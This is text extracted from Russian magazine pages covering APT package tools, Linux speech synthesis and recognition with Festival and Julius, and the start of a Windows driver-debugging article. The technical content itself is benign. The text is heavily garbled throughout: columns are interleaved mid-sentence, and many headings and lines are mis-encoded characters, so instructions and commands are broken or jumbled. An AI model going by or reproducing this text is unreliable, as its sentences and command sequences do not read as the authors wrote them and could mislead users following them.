$ sudo apt-get -b source èìÿ ïàêåòà с системой управле-
ния deb-пакетами.
СТОРОННИЕ УТИЛИТЫ Сегодня использу-
Система APT прошла очень долгий путь развития, поэтому ется в Debian-кло-
помимо официальных утилит, включенных в пакет apt, нах Ubuntu Mepis,
репозитории Debian и Ubuntu изобилуют массой сторонних Xandros и некоторых
Так выглядит схематически репозиторий утилит, которые могут быть использованы для выполнения дистрибутивах на
Deb-пакетов некоторых нестандартных задач. Наиболее полезная из них базе системы управ-
называется apt-file и необходима, как нетрудно догадаться ления пакетами RPM
из названия, для определения принадлежности того или (ALT Linux).
дистрибутив, состоящий исключительно из эксперимен- иного файла определенному пакету. Устанавливаем:
тальных или unstable-пакетов, и кучу проблем, вызванных • APT настолько попу-
таким положением дел. Однако ситуация легко разрулива- $ sudo apt-get install apt-file лярен, что портиро-
ется с помощью помещения в /etc/apt/apt.conf строки: ван даже в Mac OS X
Просим apt-file создать кэш всех файлов, установленных в (finkproject.org).
APT::Default-Release "ðåëèç"; системе пакетов (по нему будет производиться поиск):

XÀÊÅÐ 01 /133/ 10 079


UNIXOID

Synaptic — мощная графическая обертка вокруг утилит APT

$ apt-file update увидишь список пакетов, который тут же можно открой файл /etc/apt-move.conf, укажи в опции
передать на вход команде «apt-get remove» или LOCALDIR путь к каталогу, в котором должен
Ищем: же просто выполнить команду: располагаться репозиторий, и запусти команду:

$ apt-file search /usr/bin/apt-get $ sudo apt-get remove 'deborphan' $ sudo apt-move update
apt: /usr/bin/apt-get
По умолчанию deborphan обрабатывает только В результате все выкачанные из Сети с
Запрашиваем список всех файлов пакета: пакеты, содержащие библиотеки, но такое помощью apt-get пакеты (каталог /var/
поведение можно изменить, добавив флаг ‘-a’ к cache/apt/archives) будут перемещены в
$ apt-file list apt вызову команды: указанный в конфиге каталог, для которого
будет создан индексный файл. Это удобный
Простая утилита apt-show-versions покажет, $ deborphan -a способ создания внутрисетевого репози-
какие пакеты можно обновить, с указанием тория для тех случаев, когда массу одина-
версий и других данных. Запусти ее с флагом Не стоит сразу бросаться удалять пока- ковых пакетов необходимо установить на
‘-u’, чтобы получить список только подлежащих занные утилитой пакеты, потому как даже множество машин. Для создания локального
обновлению пакетов (вместо списка всех па- самый мощный эвристический алгоритм репозитория также очень удобно применять
кетов). Если ты установил большое количество не способен определить твои личные сервер apt-proxy, позволяющий кэшировать
различных пакетов и теперь хочешь избавить- потребности. Так, мне программа пока- скачиваемые из репозитория deb-пакеты
ся от ненужного хлама, то поможет утилита зала пакеты google-chrome, inkscape и на стороне сервера. Для этого apt-proxy
deborphan, которая производит поиск неис- даже xorg. устанавливается на выделенной машине
пользуемых пакетов и осиротевших зависимос- Утилита apt-move позволит тебе создать (возможно, шлюзе), а sources.list клиентов
тей. Просто запусти deborphan без аргументов и локальный репозиторий. Установи программу, модифицируется так, чтобы в качестве поля
uri всех репозиториев был указан адрес этой
машины. Как результат, все запросы deb-па-
кетов перенаправляются к apt-proxy, который
×ÒÎ ÂÍÓÒÐÈ?
запрашивает пакет у головного репозитория
Отличительной чертой пакетов формата Deb является их простота. Любой Deb-пакет — это и сохраняет его в своем кэше, а ответ на все
три файла: data.tar.gz, control.tar.gz и debian-binary, запакованные архиватором ar. Файл последующие запросы этого пакета будет
data.tar.gz — это содержимое пакета (бинарники, man’ы, документация и т.д.), control.tar.gz отдан из кэша. Для начала устанавливаем apt-
— метаданные, в простейшем варианте два файла: control, содержащий описание пакета, proxy на выделенной машине:
зависимости, размер и т.д., и md5sums — контрольные суммы всех файлов пакета. Файл
debian-binary содержит версию формата Deb-пакета (например, 2.0). Для распаковки $ sudo apt-get install apt-proxy
пакета можно использовать команду:
Далее открываем файл /etc/apt-proxy/apt-
$ ar -xv ïàêåò.deb && tar -xzf data.tar.gz proxy-v2.conf, переходим в секцию [DEFAULT] и
заменяем значение опции address на IP-адрес

080 XÀÊÅÐ 01 /133/ 10


Пасхальное яйцо в стиле разработчиков apt-get

машины, а также описываем используемые могла бы стать темой отдельной статьи, aptitude show — èíôîðìàöèÿ î ïàêåòå
apt-proxy источники пакетов, например: если бы для нее существовал хотя бы один aptitude autoclean — óäàëåíèå óñòà-
своевременно обновляемый репозиторий. ðåâøèõ ïàêåòîâ
$ sudo vi /etc/apt-proxy/apt-proxy-v2.conf aptitude hold — óñòàíîâêà çàïðåòà íà
[ubuntu] APTITUDE îáíîâëåíèå ïàêåòà
backends = http://ru.archive. Утилита apt-get и ее родственники — не единст-
ubuntu.com/ubuntu/ венная реализация APT. Еще более мощная, Интерактивный режим, доступный при запуске
min_refresh_delay = 1d удобная и универсальная альтернатива им зовет- aptitude без аргументов, позволяет выполнить
ся aptitude и представляет собой концентриро- все те же действия, используя псевдографичес-
[ubuntu-security] ванный функционал apt-get, apt-cache и dselect. кий интерфейс, построенный на базе библио-
backends = http://security.ubuntu. Aptitude позволяет устанавливать/удалять, теки ncurses. Он работает в пакетном режиме,
com/ubuntu/ искать, обновлять и производить массу других поэтому будет удобен в случаях, когда требуется
min_refresh_delay = 1d действий с пакетами, используя два типа установить большое количество пакетов.
интерфейса: командный режим, сходный с
Обычно этих двух адресов достаточно для apt-get и apt-cache, и режим с псевдографи- ПАСХАЛЬНЫЕ ЯЙЦА
покрытия всего спектра пакетов, предоставля- ческим интерфейсом, внешне напоминающий Разработчики утилит APT оказались ребятами с
емого разработчиками Ubuntu. Перезапускаем интерфейс dselect, но гораздо более удобный и несколько извращенным чувством юмора. Чего
apt-proxy: функциональный. только стоит результат следующей команды:
В режиме командной строки aptitude можно
$ sudo invoke-rc.d apt-proxy restart использовать для выполнения таких дейст- $ sudo apt-get moo
вий, как:
Чтобы перевести клиентов на использование Еще более дико выглядит то, что встроили в
apt-proxy, берем стандартный sources.list aptitude install — óñòàíîâêà ïàêåòà свою программу создатели aptitude. Попробуй:
Ubuntu, заменяем все реальные поля uri на aptitude remove — óäàëåíèå ïàêåòà è
http://IP-адрес-apt-proxy:9999/ubuntu/ и копи- îñèðîòåâøèõ çàâèñèìîñòåé $ sudo aptitude moo
руем этот файл на каждый клиент. aptitude purge — óäàëåíèå ïàêåòà,
Существует и множество других, менее îñèðîòåâøèõ çàâèñèìîñòåé è îñòàâøèõ- Этакое пасхальное яйцо без пасхального яйца.
интересных утилит, работающих в связке ñÿ ïîñëå íèõ êîíôèãóðàöèîííûõ ôàéëîâ Ну, ладно:
с APT. Например, apt-dater позволяет aptitude search — ïîèñê ïàêåòà â êýøå
производить обновление пакетов на (ñïèñêå äîñòóïíûõ ïàêåòîâ) $ sudo aptitude -v moo
большом количестве удаленных узлов, ис- aptitude update — îáíîâëåíèå êýøà $ sudo aptitude -vv moo
пользуя псевдографический интерфейс. aptitude safe-upgrade — îáíîâëåíèå $ sudo aptitude -vvv moo
Программа aptsh реализует командный ïàêåòîâ $ sudo aptitude -vvvv moo
интерфейс, подобный sh, поверх команд aptitude clean — óäàëåíèå ðàíåå ñêà- $ sudo aptitude -vvvvv moo
пакета apt; aptfs — виртуальная файловая ÷àííûõ ïàêåòîâ
система для управления APT. Утилита aptitude full-upgrade — îáíîâëåíèå И — финальный аккорд:
debdelta, позволяющая обновлять пакеты ïàêåòîâ, äàæå åñëè ýòî äåéñòâèå òðå-
с помощью выкачивания из Сети их дельт, áóåò óäàëåíèÿ êàêèõ-ëèáî ïàêåòîâ $ sudo aptitude -vvvvvv moo z

XÀÊÅÐ 01 /133/ 10 081


UNIXOID
ЕВГЕНИЙ ЗОБНИН ZOBNIN@GMAIL.COM

Ãîâîðÿùèé
ïèíãâèí
СВЕТ

Ó÷èì Linux ãîâîðèòü è ñëóøàòü


Разговаривающие с человеком и выполняющие
все его команды компьютеры — неизменный
атрибут большинства фантастических фильмов.
Человек заходит домой, говорит «Свет», и вклю- МУЗЫКА
чается освещение, говорит «Музыка»,
и начинает играть композиция из любимого
плейлиста, а в ответ на команду «Новости» при-
ятный женский голос зачитывает последние
вести с валютного фронта. Думаешь, это фан-
тастика? Нет, реальность. И реальность с откры-
тыми исходными текстами.

ФЕСТИВАЛЬ ПРИЛОЖЕНИЙ тору. Кроме того, речевой сервер может нести


Синтезирование голоса производится с ответственность за выбор одного из доступных
помощью специальных программ-синтезато- синтезаторов речи, голоса, передачу данных
ров, таких, например, как festival, espeak, flite по сети и т.п. Среди примеров можно привести
(облегченная версия festival), mbrola, freetts, Speech Dispatcher, MultiSpeech и разработан-
ru_tts и других. Наиболее качественной из них, ный для дистрибутива AltLinux VoiceMan.
по общему мнению, считается festival, разраба- Чтобы научить комп понимать проговариваемые
тываемый сотрудниками многих университетов слова, применяются системы распознавания яна: а) отсутствие хорошей акустической модели
по всему миру и, что самое главное, оснащенный речи (CMU), наиболее известная и работоспо- для английского языка (для русского более-менее
поддержкой русского языка (правда, не из ко- собная из которых носит имя Sphinx (cmusphinx. нормальной нет и для Sphinx), что означает гораз-
робки). Большинство других синтезаторов обла- sourceforge.net). Разработкой этого движка до более низкое качество распознавания (в конце
дают более низким качеством произношения, и, занимается университет Карнеги-Меллона, статьи я расскажу, как обойти эту проблему), и б) он
к тому же, не дружат с русским языком (исключе- хотя отдельные доработки также производили использует внешний движок генерации акусти-
нием являются espeak, с гораздо более низким, сотрудники Массачусетского технологическо- ческой модели (обучения) HTK, разрабатываемый
в сравнении с festival, качеством произношения, го института и корпорация Sun Microsystems. под руководством Microsoft в Кэмбридже (а это
и ru_tts, разработанный нашими соотечествен- Качество распознавания «Сфинкса» еще далеко значит, что движок хоть и открыт, но использовать
никами, но говорящий просто отвратительно). от идеала, он постоянно дает сбои и совершенно его можно только в личных целях).
Поверх синтезатора может функционировать так не способен разобрать слитную речь. Однако его Для систем синтеза и распознавания речи
называемый речевой сервер — демон, который возможностей вполне достаточно для органи- существует масса различных оберток, упро-
всегда находится в фоне и ждет команд от других зации системы исполнения простых голосовых щающих использование. Для Festival можно
приложений. Пользователь или программа команд, что и демонстрируют такие проекты, как привести в пример приложение kttsd, для Sphinx
могут использовать сокет или сообщения D-BUS Gnome Voice Control и PerlBox. это уже не развиваемый PerlBox и созданный в
для передачи текста речевому серверу, который, Альтернатива Sphinx — движок Julius японского рамках Google Summer Of Code апплет для сре-
в свою очередь, сформирует текстовый файл в происхождения. По качеству распознавания ды Gnome под названием Gnome Voice Control.
правильной кодировке и передаст его синтеза- Julius не уступает Sphinx, однако имеет два изъ- Отличная графическая оболочка для Julius —

082 XÀÊÅÐ 01 /133/ 10


Festival достаточно долго думает перед тем, как начать произносить слова

программа Simon, написанная с использовани- (Parameter.set 'Audio_Method режим, ты можешь запустить процесс чтения
ем библиотеки Qt4. 'Audio_Command) файла:

ПИНГВИН! ГОЛОС! Если ты все сделал правильно, то после $ festival --language russian --tts
Как я говорил выше, лучшей программой выполнения следующей команды услышишь file.txt
синтеза речи является Festival, разрабатыва- несколько «железно-звучащий», булькающий,
емая в Центре изучения речевых технологий в но вполне понятный голос господина Карлова: При запуске в режиме сервера festival откры-
Эдинбургском университете (Шотландия). Она вает порт 1314 для чтения команд. Используя
поддерживает множество различных языков $ echo '(voice_msu_ru_nsh_clunits) эту особенность, ты можешь создать клиент-
и голосов, может читать текст из файла либо (SayText "Ïðèâåò îò ïèíãâèíà!") серверное ПО для выполнения синтеза речи.
из командной строки и записывать результат (quit)' | festival Запусти festival в серверном режиме:
синтеза в звуковой файл формата wav, включает
в себя плагин для pidgin, проговаривающий Текст должен быть в кодировке UTF-8, поэтому $ festival --server &
входящие сообщения. Недостаток программы заранее установи локаль ru_RU.UTF-8 в своем
только в том, что синтез русской речи она не дистрибутиве. Также рекомендую внести прав- Вызови telnet:
поддерживает, поэтому для прикручивания ки в файл /usr/share/festival/languages.scm,
такой возможности придется скачивать и уста- чтобы festival научился автоматически находить $ telnet localhost 1314
навливать далеко не самого лучшего качества русский язык и позволял произносить текст,
голос, словари ударений и т.п. Итак, берем переданный в качестве аргументов командной И запиши команды. Например, если хочешь,
дистрибутив Ubuntu (любой из трех последних строки. Открой languages.scm и добавь в его чтобы festival произнес указанную тобой фразу
версий) и выполняем команду: начало строки: на русском языке, запиши:

$ sudo aptitude install festival # vi /usr/share/festival/languages.scm (voice_msu_ru_nsh_clunits)


speech-tools fetvox-ru (define (language_russian) (SayText "Ïðèâåò!")
"(language_russian)
Если же пакета festvox-ru нет в комплекте (он Set up language parameters for Если же он должен прочитать файл, то команды
доступен, начиная с версии 9.10), то после за- Russian." будут такими:
вершения установки festival выполняем коман- (set! male1 voice_msu_ru_nsh_
ду, чтобы получить файлы поддержки русского clunits) (voice_msu_ru_nsh_clunits)
языка (осторожно, файл большой, ~170 Мб): (male1) (tts_file "Ïðèâåò")
(Parameter.set ‘Language ‘russian)
$ cd; wget http://download.berlios. ) Для завершения работы festival набери «(quit)».
de/festlang/msu_ru_nsh_clunits- Чтобы каждый раз не выбирать русский язык
0.5.tar.bz2 Перейди к строке «(define(select_language самостоятельно, добавь в файл /usr/share/
language)» и добавь две строки: festival/init.scm строки:
Распаковываем архив в каталог /usr/share/
festival/voices/: ((equal? language ‘russian) ;;; Default voice (have to do
(language_russian)) something cute so autoloads still
$ cd /usr/share/festival/voices/ work)
$ sudo mkdir russian Теперь выполни команду: (eval (list voice_msu_ru_nsh_
$ sudo tar -xf ~/msu_ru_nsh_clunits- clunits))
0.5.tar.bz2 $ echo "Ïðèâåò" | festival
--language russian --tts ПИНГВИН! ЛЕЖАТЬ!
В Ubuntu и некоторых других дистрибутивах Перед тем, как перейти к установке и настройке
Festival может выдать ошибку «Linux: can’t open Так гораздо проще и удобнее. Собственно, уже системы распознавания речи, давай все же оп-
/dev/dsp» при попытке вывода звука, поэтому в таком виде можно придумать тысячу и одно ределимся с тем, чего мы хотим добиться. Дело
мы должны настроить программу на исполь- применение для Festival, начиная с создания в том, что ни один из открытых движков, будь
зование ALSA. Для этого помещаем в файл говорящего будильника и заканчивая систе- то Sphinx, Julius или какой-то менее известный
~/.festivalrc строки: мой, читающей тебе почту или новости с LOR’а. проект, не способен на 100% верно разобрать
Однако Festival гораздо более гибкая програм- речь, даже если она будет принадлежать актеру
(Parameter.set 'Audio_Command ма, которая умеет зачитывать большие файлы, с хорошо поставленным голосом. Однако при
"aplay -q -c 1 -t raw -f s16 -r $SR работать в пакетном режиме и выполнять роль правильной тренировке программы (которая
$FILE") TCP-сервера. Например, используя пакетный также включает в себя и подгонку под особен-

XÀÊÅÐ 01 /133/ 10 083


UNIXOID

KTTS быстро нашел русский голос


для Festival

Просмотрев файл sample.voca, ты можешь


заметить, что он содержит совсем небольшой
список слов, таких как call, get, dial и т.д., а также
их фонетическое представление (что-то вроде
На первом проходе Julius дает сбои, но на втором не ошибается транскрипции), файл sample.grammar содержит
правила, в каких комбинациях эти слова могут
быть использованы. Не беспокойся, если он тебе
ÏÎÌÎÃÈ Â ÑÎÇÄÀÍÈÈ ÐÓÑÑÊÎÉ ßÇÛÊÎÂÎÉ ÌÎÄÅËÈ непонятен, это нормально.
Помоги общему делу в создании языковой модели русского языка для Julius и Sphinx. Попробуем изменить файлы так, чтобы подог-
Зайди на страничку www.voxforge.org/ru и в режиме «онлайн» запиши начитанный тобой нать их под нашу задачу, которой будет… допус-
текст. Проекту нужно всего 140 часов речи для создания качественной языковой модели, тим, управление аудиоплеером. Итак, открой
однако пока общий объем не достигает и 10 часов. файл sample.voca и добавь в него следующее
(удалив прежнее содержимое):

ности произношения конкретного человека) ее правильного распознавания будет стремиться $ vi sample.voca


вполне можно научить корректно распознавать к значению 100. Однако все это сложно, требует % NS_B
простые двух-словные команды почти в 100% определенной подготовки и времени, поэтому <s> sil
случаев. И вот здесь нас ждет очень неприятный пока мы ограничимся акустической моделью,
сюрприз: наиболее известная и распространен- распространяемой с сайта www.voxforge.org. % NS_E
ная CMU Sphinx (которая, кстати, имеет целых Для этого надо установить пакет julius-voxforge: </s> sil
четыре параллельно развиваемых версии, одна
из них написана на Java) до сих пор находит- $ sudo aptitude install julius- % ID
ся в стадии «вечной альфы», пользоваться voxforge DO d uw
которой (не говоря уже о тренировке) обычному
пользователю довольно затруднительно. Су- Теперь приступаем к настройке, она включает % COMMAND
ществует, конечно, утилита Gnome Voice Control, в себя только создание словаря: списка слов, PLAY p l ey
существенно упрощающая процесс общения с которые распознает движок, и объяснение того, NEXT n eh k s t
программой, но работает она только в Gnome. как слова могут между собой сопоставляться. PREV p r iy v
Поэтому мы воспользуемся Julius, который хоть Нужно это для двух целей: во-первых, движок SILENCE s ay l ax n s
и имеет некоторые проблемы, но очень прост в должен знать произношение слов и понимать их,
использовании. Julius есть в репозиториях мно- а во-вторых, сократив словарь всего до несколь- В файл sample.grammar помести строку:
гих дистрибутивов, и его не придется собирать ких фраз, мы повысим качество распознавания.
из исходников. В Ubuntu для установки Julius Возьмем стандартные словари, распространяе- S: NS_B ID COMMAND NS_E
достаточно выполнить команду: мые вместе с пакетом julius-voxforge:
Все это значит, что движок должен понимать
$ sudo aptitude install julius $ mkdir ~/julius-grammar словосочетания, которые состоят из: тишина
$ cp /usr/share/doc/julius-voxforge/ (NS_B), слов «do» (ID), «play», «next», «prev» или
Чтобы научить Julius понимать английский язык, examples/* ~/julius-grammar «silence» (COMMAND), тишина (NS_E). Говоря
тебе понадобятся файлы акустической модели, $ cd ~/julius-grammar проще, ты можешь сказать «Do play», и комп
содержащие статистическое представление $ gunzip * 2>&1 | grep -v ignored тебя поймет, в то время как слова «Hello World»
звуков, которые может воспринимать движок.
Акустическая модель строится путем обработки
звуковых файлов (с начитанными человеком
фрагментами текстов) специальными програм- ÄÂÀ ÏÐÎÑÒÛÕ ÑÊÐÈÏÒÀ ÄËß ÓÏÐÀÂËÅÍÈß FESTIVAL
мами (например, из пакета HTK). Наиболее #!/bin/sh
правильно самому наговорить эти фрагменты и, festival -b "(begin (voice_msu_ru_nsh_clunits) (SayText \"$1\" nil))"
таким образом, научить движок распознавать
именно твой голос (в том числе, интонацию #!/bin/sh
и ошибки произношения) и словосочетания, festival -b "(begin (voice_msu_ru_nsh_clunits) (tts_file \"$1\" nil))"
которые нужны именно тебе. Тогда процент

084 XÀÊÅÐ 01 /133/ 10


Симпатичная оболочка для Julius

будут для него инопланетным языком. Хорошая особенность Из восьми сказанных слов Sрhinx понял только два
короткого словаря в том, что, даже если ты скажешь что-то
вроде «Du pray», движок, скорее всего, распознает это как
«Do play», а не как-нибудь иначе (в английском десятки и ввод скрипта, который будет обрабатывать печатаемые Julius
сотни слов звучат очень похоже). фразы. Например, скрипт для управления audacious на языке
Теперь, не выходя из каталога, выполни команду для генера- python может выглядеть так:
ции файлов sample.dfa sample.term и sample.dict:
$ vi command.py HTTP://WWW
$ mkdfa sample def parse(line):
params = [param.lower() for param in line. links
Это все. Можешь протестировать julius с помощью команды: split() if param] •www.voxforge.org
commands = { — архив открытых
$ julius -input mic -C julian.jconf 'play': 'audacious2 -p', языковых моделей.
'silence': 'audacious2 -u', •www.cstr.ed.ac.uk/
После появления строки «<<< please speak >>>» начинай 'next': 'audacious2 -f', projects/festival —
говорить определенные выше фразы. Чтобы движок пра- 'prev': 'audacious2 -r', Festival.
вильно их понял, говори слитно, как это делают англогово- } •http://accessibility.
рящие (голоса которых и были использованы для создания if params[1] in commands: kde.org/developer/
акустической модели voxforge), без перерыва между словами. os.popen(commands[params[1]]) kttsd — KTTSD: обер-
То есть, говори «Дуплэй», а не «Ду плэй», словно на занятиях тка для Festival.
английского для большей разборчивости. При таком способе Сохрани его под именем command.py и запускай julius следу- •http://cmusphinx.
произношения движок работает на удивление хорошо, лично ющим образом: sourceforge.net/html/
у меня ни одного сбоя на 10 фраз. Если ты получаешь худшие cmusphinx.php —
результаты, хорошенько поработай над своим произношени- $ julius -quiet -input mic -C julian.jconf 2> Sphinx.
ем и купи добротный микрофон. /dev/null | ./command.py •www.speech.cs.cmu.
Конечно, пока от программы мало толку, поэтому мы должны edu/pocketsphinx —
создать Dialog manager, то есть, программу (скрипт), которая На прилагаемом к журналу диске ты найдешь список фо- PocketSphinx.
будет отвечать за перевод отдаваемых тобой голосовых нетических представлений многих английских слов (beep. •http://live.
команд в команды на исполнение. К счастью, сделать это tar.gz), — их можно использовать для формирования своего gnome.org/
просто, достаточно прицепить на выход Julius стандартный собственного словаря. Документы tutorial и how-to на сайте GnomeVoiceControl —
www.voxforge.org описывают процесс создания собственной Gnome Voice Control:
акустической модели, которую ты сможешь использовать для обертка для Sphinx II.
SPHINX II VS JULIUS достижения более высокого качества распознавания (через •http://perlbox.org —
обучение движка особенностям твоего произношения). PerlBox: обертка для
Ты можешь самостоятельно сравнить качество распоз- Не используй большой словарь и не пытайся создать мега-бота Sphinx II.
навания Sphinx (второй, самой быстрой версии) и Julius, с искусственным интеллектом, который будет понимать целые •http://htk.eng.cam.
просто установив пакет sphinx2-bin: предложения и отвечать на них с использованием festival. Пом- ac.uk — HTK.
ни: чем меньше словарь, тем выше качество распознавания. •http://julius.
$ sudo aptitude install sphinx2-bin sourceforge.jp/en_
ЗАНАВЕС index.php — Julius.
И запустив демонстрационную программу распознава- Открытые системы синтеза и распознавания речи, которые •http://simon-listens.
ния с малым словарем: можно использовать в Linux, xBSD, Solaris и других системах, org — Simon: обертка
не стоят на месте и продолжают развиваться. Еще совсем для Julius.
$ sphinx2-demo недавно мы не имели поддержки русского в festival и не гово-
рили всерьез о распознавании голосовых команд, а сегодня,
В моем случае Sphinx показал просто провальные ре- как ты сам смог убедиться, все это есть и вполне корректно
зультаты, не идущие ни в какое сравнение с Julius. работает. Не без изъянов и подводных камней, со множест-
вом ошибок, но работает. z

XÀÊÅÐ 01 /133/ 10 085


CODING
АЛЕКСАНДР ЭККЕРТ ALEKSANDR-EHKKERT@RAMBLER.RU

ÁÎÐÜÁÀ
Ñ ÑÈÍÈÌ
ÇÌÈÅÌ ÊÐÀÒÊÈÉ ÌÀÍÓÀË
ÏÎ ÏÐÎÔÈËÀÊÒÈÊÅ BSOD
ÄËß ÍÀ×ÈÍÀÞÙÅÃÎ
ÄÐÀÉÂÅÐÎÏÈÑÀÒÅËß
ÏÎ ÑÒÀÒÈÑÒÈÊÅ, 90% ÂÐÅÌÅÍÈ, ÊÎÒÎÐÎÅ ÏÐÎÃÐÀÌÌÈÑÒ ÒÐÀÒÈÒ ÍÀ ÐÀÇ-
ÐÀÁÎÒÊÓ ÏÐÎÃÐÀÌÌÛ, ÑÎÑÒÀÂËßÞÒ ÅÅ ÄÅÁÀÃ È ÎÒËÀÄÊÀ. È ÂÏÐÀÂÄÓ,
ÂÅÄÜ ÍÀÊÈÄÀÒÜ ÊÎÄ ÍÅÑËÎÆÍÎ — ÑËÎÆÍÎ ÇÀÑÒÀÂÈÒÜ ÅÃÎ ÐÀÁÎÒÀÒÜ :).
ÂÄÂÎÉÍÅ ÒßÆÅËÎ, ÅÑËÈ ÐÅ×Ü ÈÄÅÒ ÎÁ ÎÒËÀÄÊÅ ÊÎÄÀ, ÊÎÒÎÐÛÉ ÄÎË-
ÆÅÍ ÈÑÏÎËÍßÒÜÑß Â ßÄÐÅ WINDOWS. ÏÎÃÎÂÎÐÈÌ Î ÒÎÌ, ÊÀÊ ÎÁËÅÃ×ÈÒÜ
ÆÈÇÍÜ ÍÀ×ÈÍÀÞÙÅÌÓ ÄÐÀÉÂÅÐÎÏÈÑÀÒÅËÞ È ÏÐÅÎÄÎËÅÒÜ ÒÐÓÄÍÎÑÒÈ
ÏÐÈ ÎÒËÀÄÊÅ È ÄÅÁÀÃÅ ÊÎÄÀ ßÄÐÀ.

086 XÀÊÅÐ 01 /133/ 10


Î
тладка юзермодных программ, написанных на языках
высокого уровня, не представляет особого затруднения для
человека разумного. Существующие сегодня среды разра-
ботки значительно упрощают программисту жизнь — теперь
отладка программного кода и выискивание ошибок стало
делом вполне обычным и легко решаемым. А отладка исключений,
скажем, в Visual Studio, вообще потрясает воображение. Правда,
дебаггером еще надо научиться пользоваться, но это уже совсем
другой вопрос.
Отладка — часто тяжелая и утомительная задача. Способности
кодера к отладке — по-видимому, важнейший фактор в обнаружении
источника проблемы, но сложность отладки сильно зависит от ис-
пользуемого языка программирования и инструментов, в частности,
отладчиков.
Но и эта сложность может стать неподъемной, когда речь идет об
отладке драйверов уровня ядра. Причина одна — если падение
юзермодной программы приводит лишь к завершению работы самой
программы, то за падением драйвера, как правило, следует BSOD. ЗНАКОМАЯ КАРТИНА, НЕ ПРАВДА ЛИ?
Помню, едва мне пришлось столкнуться с разработкой драйверов,
BSOD’ы стали неотъемлемой частью моей кодерской жизни и к ним
было очень тяжело привыкнуть. Но еще тяжелее было понять при-
чину, вызвавшую падение драйвера — ведь даже когда я научился
загружать крэшдамп в WinDBG, коды багчека на первых порах мне
мало что говорили. Со временем кусочки разрозненной инфор-
мации стали складываться в более-менее узнаваемую разумом
мозаику и отладка стала для меня сродни детективному расследо-
ванию.

BLUE SCREEN OF DEATH


Так радующий линуксоидов Blue Screen Of Death (BSOD) пред-
ставляет собой всего лишь результат выполнения функции ядра
KeBugCheckEx. Функция показывает пользователю, что ядро систе-
мы зарегистрировало внештатную ситуацию, которую она не в силах ДИСПЕТЧЕР ПРОВЕРКИ ДРАЙВЕРОВ
обработать.
При всем многообразии причин, ведущих к BSOD, для его отображе-
ния (и дополнительных действий, описание которых здесь опустим) Для полноценного анализа крэшдампов нужно скачать с сайта
в ядре разработан специальный механизм, который необходимо Microsoft пакет т.н. «символов» — набор файлов с расширением pdb,
вызвать. Банальность ответа о причине BSOD заключается в том, что в которых содержится структурное описание системных функций,
BSOD «наступает» всякий раз, как только вызывается функция ядра списков и констант (http://msdl.microsoft.com/download/symbols).
KeBugCheckEx, и, независимо от источника и кода ошибки, именно Символы жизненно необходимы при отладке (почему? смотри кар-
эта функция и вызывается драйверами режима ядра. При этом BSOD, тинку!).
вызванный UserMod’ными процессами — редкость, однако, если На рисунке можно увидеть, что наличие символов делает отладку
постараться, то, помурыжив функцию NtRaiseHardError(), можно более читаемой. WinDBG, помимо отладки юзермодного кода, может
сгенерировать «синий экран» и из пользовательского режима. также использоваться и в качестве ядерного отладчика реального
При вызове KeBugCheckEx ОС Windows создает и сбрасывает на диск времени (типа SoftIce или Syser). Как это сделать — ты легко можешь
(обычно в папку %SystemRoot%\Minidump) крэшдамп, созданный найти в Сети, скажу только, что нужно будет поднять виртуальную
при аварийном выходе. Этот крэшдамп содержит в себе необходимую машину и пошаманить с настройками WinDBG. После можно начать
минимальную информацию, которая нужна, чтобы понять причину отладку драйверов.
ошибки, вызвавшей BSOD. Обычно ее хватает. Итак, как бы нам ни хотелось, системный разработчик драйверов
Стандартный минидамп, который система создает по умолчанию, уровня ядра BSOD’ы будет видеть всегда. Однако, приложив не-
«весит» 64 Kb. При этом существует возможность заставить систему большие усилия, на стадии кодинга и дебага можно свести число их
сбрасывать на диск «Дамп памяти ядра» и «Полный дамп памяти». В появления к минимуму. Для этого оказалось достаточным в процессе
последнем случае на диск будет сброшено все содержимое физи- кодинга соблюдать следующие три условия:
ческой памяти, занятое под юзермодные программы и компоненты 1) использовать блоки __try{} — __except{};
ядра. Что именно выбирать — зависит от конкретных задач, иногда 2) использовать при необходимости макрос ASSERT;
стандартного минидампа вполне хватает, чтобы выявить причины 3) пользоваться Driver Verifier.
падения. Работа с исключениями в драйверах ничем не отличается от юзермо-
да, поэтому я смело использую блоки __try{} __except{} в своем коде.
ÂÎÎÐÓÆÀÅÌÑß ÏÎ ÏÎËÍÎÉ ÏÐÎÃÐÀÌÌÅ Бывают, конечно, случаи, когда простой SEH-фрейм не сработает
WinDBG, продукт малоизвестной компании Microsoft — мощное (например, исключения, генерируемые всякими функциями вроде
оружие, предназначенное для отладки любого, как юзермодного, так MmProbeForRead обрабатываются только C-шным SEH-фреймом с
и ядерного кода, а также анализа аварийных дампов. Последнюю его специфичными структурами). Есть множество типов исключе-
версию WinDBG можно скачать здесь — http://msdl.microsoft.com/ ний, которые вообще не обрабатываются SEH-фреймами, например,
download. Ценность WinDBG в нашем случае проявляется именно деление на 0, двойное исключение, исключения при обращении к
в анализе крэшдампов. Об этой особенности WinDBG мы сейчас и неподкачиваемой памяти и т.д. Но это тебе для сведения, поскольку
поговорим. обычные SEH-фреймы часто выручают при обработке исключений.

XÀÊÅÐ 01 /133/ 10 087


CODING

INFO

info
Советую к обяза-
тельному прочте-
нию «Приложение
«А» к книге Криса
Касперски «Записки
исследователя ком-
пьютерных вирусов» ПАДЕНИЕ TDI-ФИЛЬТРА ESET SMART ВСЕ «СИНИЕ ЭКРАНЫ» ТАКИМИ БЫ
под говорящим SECURITY — EPFWTDI.SYS БЫЛИ...
названием «Прак-
тические советы
по восстановлению ÌÀÊÐÎÑ ASSERT
системы в боевых Чтобы быть во всеоружии, позволь дать совет — очень
условиях». полезно в коде драйвера проверять выполнение не- ÊÀÊ ÏÎÊÀÇÛÂÀÅÒ ÏÐÀÊÒÈÊÀ...
которых условий через макрос ASSERT. Также исполь- Позволю себе в рамках статьи остановиться на двух
зование этого макроса — просто хороший тон в кодинге. багчеках, которые тебе будут встречаться в процессе
Итак, этот макрос выполняется тогда, когда логическое разработки драйверов уровня ядра чаще всего. Они
выражение, которое он «охраняет», является ложным. же являются самыми малоинформативными и раздра-
DVD Т.е. ASSERT(2+2 == 4) прервет выполнение программы в жающими и без того измученную «Нарзаном» нервную
том случае, когда 2 + 2 не будет равным четырем. Мы пой- систему программиста.
дем еще дальше — попробуем сообразить свой макрос Первый багчек — это KERNEL_MODE_EXCEPTION_
dvd ASSERT, который поможет нам в отладке кода. NOT_HANDLED. Даже его название ни о чем не говорит,
На диске ты найдешь намекая на «произошло что-то, что система не смогла
литературу, которая Пишем свой макрос ASSERT обработать». Практика показывает, что если система
